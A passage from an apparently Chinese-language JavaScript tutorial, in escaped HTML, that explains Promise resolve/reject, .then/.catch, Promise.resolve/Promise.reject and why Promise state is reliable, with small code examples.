&#x65B9;&#x6CD5;&#xFF0C;promise &#x72B6;&#x6001;&#x5C06;&#x53D8;&#x66F4;&#x4E3A; &apos;rejected&apos;&#x3002;</li>\n</ul>\n<p>&#x5728;&#x8C03;&#x7528; <code>resolve()</code> &#x6216; <code>reject()</code> &#x65B9;&#x6CD5;&#x7684;&#x65F6;&#x5019;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x4EFB;&#x610F;&#x503C;&#xFF0C;&#x6BD4;&#x5982; <code>resolve(&apos;&#x64CD;&#x4F5C;&#x6210;&#x529F;&apos;)</code>&#x3001;<code>reject(Error(&apos;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&apos;))</code> &#x7B49;&#x7B49;&#xFF0C;&#x8FD9;&#x4E2A;&#x503C;&#x4F1A;&#x4F5C;&#x4E3A;&#x76D1;&#x542C;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x53C2;&#x6570;&#x900F;&#x4F20;&#x51FA;&#x53BB;&#x3002;</p>\n<p>Promise &#x63D0;&#x4F9B;&#x4E86; <code>.then(onFulfilled, onRejected)</code> &#x548C; <code>.catch(onRejected)</code> &#x7B49;&#x539F;&#x578B;&#x94FE;&#x65B9;&#x6CD5;&#x7528;&#x4E8E;&#x6CE8;&#x518C;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x6240;&#x89E6;&#x53D1;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x3002;&#x5176;&#x4E2D; <code>.catch(onRejected)</code> &#x7B49;&#x4EF7;&#x4E8E; <code>.then(null, onRejected)</code>&#xFF0C;&#x56E0;&#x6B64;&#x4E3A;&#x4E86;&#x884C;&#x6587;&#x65B9;&#x4FBF;&#xFF0C;&#x5728;&#x6CA1;&#x6709;&#x7279;&#x6B8A;&#x8BF4;&#x660E;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x540E;&#x7EED;&#x6240;&#x63D0;&#x5230;&#x7684; <code>.then()</code> &#x65B9;&#x6CD5;&#x5747;&#x7528;&#x4E8E;&#x6307;&#x4EE3; <code>.then()</code> &#x6216; <code>.catch()</code>&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x6F14;&#x793A;&#x4E86; Promise &#x7684;&#x57FA;&#x672C;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x4E2D;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x4E14;&#x5229;&#x7528; <code>setTimeout()</code> &#x65B9;&#x6CD5;&#x5728; 1 &#x79D2;&#x540E;&#x89E6;&#x53D1; Promise &#x7684;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#xFF0C;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x540E;&#x4FBF;&#x4F1A;&#x89E6;&#x53D1; <code>onFulfilled</code> &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5E76;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370;&#x51FA; Promise &#x7684;&#x8FD4;&#x56DE;&#x503C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5B8C;&#x6210;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x6267;&#x884C;&#x5B8C;&#x6210;&#x201D;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6B64;&#x65F6;&#x4E0D;&#x4F1A;&#x6267;&#x884C; onRejected &#x56DE;&#x8C03;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x540C;&#x7406;&#xFF0C;1 &#x79D2;&#x540E;&#x5C06; Promise &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A;&#x5931;&#x8D25;&#x5219;&#x662F;&#x8C03;&#x7528; <code>reject()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x91C7;&#x7528; <code>.then()</code> &#x548C; <code>.catch()</code> &#x65B9;&#x6CD5;&#x8FDB;&#x884C; onRejected &#x56DE;&#x8C03;&#x7684;&#x6CE8;&#x518C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>\n  <span class=\"token comment\">// &#x4E0D;&#x4F1A;&#x8FDB;&#x5165; onFulfilled &#x56DE;&#x8C03;</span>\n  <span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#xFF01;[1]&#x201D;</span>\n  <span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error <span class=\"token operator\">+</span> <span class=\"token string\">&apos;[1]&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#xFF01;[2]&#x201D;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error <span class=\"token operator\">+</span> <span class=\"token string\">&apos;[2]&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5F53;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x51FA;&#x9519;&#x65F6;&#xFF0C;promise &#x7684;&#x72B6;&#x6001;&#x540C;&#x6837;&#x4F1A;&#x53D8;&#x66F4;&#x4E3A; &apos;rejected&apos;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6253;&#x5370;&#x201C;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#xFF01;&#x201D;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">.</span>message<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x4E00;&#x4E9B;&#x590D;&#x6742;&#x7684;&#x5F02;&#x6B65;&#x573A;&#x666F;&#x5F53;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x8FD8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x53D8;&#x91CF;&#x5C06; resolve &#x548C; reject &#x7F13;&#x5B58;&#x4E0B;&#x6765;&#xFF0C;&#x7B49;&#x5230;&#x9700;&#x8981;&#x53D8;&#x66F4; promise &#x72B6;&#x6001;&#x7684;&#x65F6;&#x5019;&#x518D;&#x53BB;&#x89E6;&#x53D1;&#x5B83;&#x4EEC;&#xFF0C;&#x8FD9;&#x79CD;&#x60C5;&#x5F62;&#x5728;&#x914D;&#x5408;&#x4E0A;&#x5404;&#x79CD;&#x95ED;&#x5305;&#x5199;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x5F88;&#x591A;&#x795E;&#x5947;&#x7684;&#x529F;&#x80FD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resolve\n<span class=\"token keyword\">let</span> reject\n\n<span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">res<span class=\"token punctuation\">,</span> rej</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  resolve <span class=\"token operator\">=</span> res\n  reject <span class=\"token operator\">=</span> rej\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">/* &#x4E00;&#x4E9B;&#x795E;&#x4ED9;&#x64CD;&#x4F5C; */</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token comment\">/* &#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x6210;&#x529F; */</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>Promise &#x63D0;&#x4F9B;&#x4E86; <code>Promise.resolve(value)</code> &#x548C; <code>Promise.reject(error)</code> &#x6765;&#x5FEB;&#x901F;&#x83B7;&#x5F97;&#x4E00;&#x4E2A;&#x786E;&#x5B9A;&#x72B6;&#x6001;&#x4EE5;&#x53CA;&#x8FD4;&#x56DE;&#x503C;&#x7684; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5728;&#x4E00;&#x4E9B;&#x7279;&#x5B9A;&#x7684;&#x4F7F;&#x7528;&#x573A;&#x666F;&#x4E0B;&#xFF0C;&#x8FD9;&#x4E24;&#x4E2A;&#x51FD;&#x6570;&#x80FD;&#x591F;&#x8D77;&#x5230;&#x7B80;&#x5316;&#x4EE3;&#x7801;&#x7684;&#x4F5C;&#x7528;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">12345</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">12345</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"promise-&#x7684;&#x53EF;&#x9760;&#x6027;\"><a name=\"promise-&#x7684;&#x53EF;&#x9760;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x7684;&#x53EF;&#x9760;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x7684;&#x53EF;&#x9760;&#x6027;\" class=\"plugin-anchor\" href=\"#promise-&#x7684;&#x53EF;&#x9760;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x7684;&#x53EF;&#x9760;&#x6027;</h2>\n<p>Promise &#x4F5C;&#x4E3A;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7684;&#x7BA1;&#x7406;&#x65B9;&#x6848;&#xFF0C;&#x9996;&#x5148;&#x8981;&#x89E3;&#x51B3;&#x7684;&#x662F;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x7684;&#x53EF;&#x9760;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x8FD9;&#x91CC;&#x5305;&#x62EC;&#x64CD;&#x4F5C;&#x7684;&#x53EF;&#x9760;&#x6027;&#x548C;&#x72B6;&#x6001;&#x7684;&#x53EF;&#x9760;&#x6027;&#x4E24;&#x4E2A;&#x65B9;&#x9762;&#xFF0C;Promise &#x901A;&#x8FC7;&#x4EE5;&#x4E0B;&#x7279;&#x70B9;&#x6765;&#x4F9D;&#x6B21;&#x89E3;&#x51B3;&#x8FD9;&#x4E9B;&#x53EF;&#x9760;&#x6027;&#x95EE;&#x9898;&#x3002;</p>\n<h3 id=\"&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\"><a name=\"&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\" class=\"plugin-anchor\" href=\"#&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7EDF;&#x4E00;&#x7684;&#x683C;&#x5F0F;</h3>\n<p>Promise &#x5BF9;&#x8C61;&#x7EDF;&#x4E00;&#x4E86;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x7ECF;&#x8FC7; Promise &#x5305;&#x88C5;&#x7684;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x5C06;&#x5177;&#x6709;&#x7EDF;&#x4E00;&#x7684;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x65B9;&#x5F0F;&#xFF0C;&#x7EDF;&#x4E00;&#x7684; API &#x4EE5;&#x53CA;&#x7EDF;&#x4E00;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x683C;&#x5F0F;&#x3002;&#x8FD9;&#x6837;&#x5C31;&#x518D;&#x4E5F;&#x4E0D;&#x9700;&#x8981;&#x4E3A;&#x8FC7;&#x53BB;&#x4E0D;&#x540C;&#x5F62;&#x5F0F;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6240;&#x56F0;&#x6270;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x505A;&#x4E2A;&#x5BF9;&#x6BD4;&#xFF0C;&#x5728;&#x8FC7;&#x53BB;&#x91C7;&#x7528;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x673A;&#x5236;&#x8FDB;&#x884C;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x65F6;&#xFF0C;&#x5199;&#x6CD5;&#x4E94;&#x82B1;&#x516B;&#x95E8;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// ajax &#x98CE;&#x683C;&#x7684;&#x56DE;&#x8C03;&#x5199;&#x6CD5;</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  <span class=\"token function\">success</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token function\">error</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// nodejs &#x98CE;&#x683C;&#x7684;&#x56DE;&#x8C03;&#x5199;&#x6CD5;</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error<span class=\"token punctuation\">,</span> result</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x4E8B;&#x4EF6;&#x76D1;&#x542C;&#x98CE;&#x683C;&#x7684;&#x56DE;&#x8C03;&#x5199;&#x6CD5;</span>\nrun<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\nrun<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onfail</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x800C; Promise &#x53EA;&#x6709;&#x4E00;&#x79CD;&#x5199;&#x6CD5;&#xFF0C;&#x5B8C;&#x6210;&#x4E86;&#x683C;&#x5F0F;&#x4E0A;&#x7684;&#x7EDF;&#x4E00;&#xFF0C;&#x8FD9;&#x4E5F;&#x4E3A;&#x4E0B;&#x4E00;&#x8282;&#x5C06;&#x8981;&#x4ECB;&#x7ECD;&#x7684; Promise &#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x63D0;&#x4F9B;&#x57FA;&#x7840;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\"><a name=\"promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\" class=\"plugin-anchor\" href=\"#promise-&#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;</h3>\n<p>Promise &#x53EA;&#x80FD;&#x901A;&#x8FC7; <code>resolve()</code> &#x548C; <code>reject()</code> &#x65B9;&#x6CD5;&#x63A7;&#x5236; Promise &#x7684;&#x72B6;&#x6001;&#xFF0C;&#x8FD9;&#x4E2A;&#x72B6;&#x6001;&#x65E0;&#x6CD5;&#x88AB;&#x5916;&#x90E8;&#x76F4;&#x63A5;&#x8BBF;&#x95EE;&#xFF0C;&#x4E5F;&#x6CA1;&#x6709;&#x63D0;&#x4F9B;&#x4EFB;&#x4F55;&#x65B9;&#x6CD5;&#x4ECE;&#x5916;&#x90E8;&#x4FEE;&#x6539;&#x72B6;&#x6001;&#xFF0C;&#x8FD9;&#x5C31;&#x4FDD;&#x8BC1;&#x4E86; Promise &#x72B6;&#x6001;&#x4E0D;&#x53D7;&#x5916;&#x90E8;&#x5F71;&#x54CD;&#x3002;</p>\n<h3 id=\"promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\"><a name=\"promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\" class=\"plugin-anchor\" href=\"#promise-&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;</h3>\n<p>Promise &#x5BF9;&#x8C61;&#x4E00;&#x65E6;&#x4ECE;&#x521D;&#x59CB;&#x72B6;&#x6001;&#xFF08;pending&#xFF09;&#x53D8;&#x66F4;&#x4E3A;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF08;fulfilled&#xFF09;&#x6216;&#x8005;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF08;rejected&#xFF09;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x4E2A;&#x72B6;&#x6001;&#x5C31;&#x88AB;&#x5B8C;&#x5168;&#x786E;&#x5B9A;&#x4E0B;&#x6765;&#x4E86;&#xFF0C;&#x4E0D;&#x4F1A;&#x88AB;&#x540E;&#x7EED;&#x7684;&#x4EFB;&#x4F55;&#x64CD;&#x4F5C;&#x6240;&#x5F71;&#x54CD;&#xFF0C;&#x5373;&#x4FBF;&#x5728;&#x6B64;&#x540E;&#x591A;&#x6B21;&#x8C03;&#x7528; <code>resolve()</code> &#x6216; <code>reject()</code>&#xFF0C;&#x8FD9;&#x4E2A; Promise 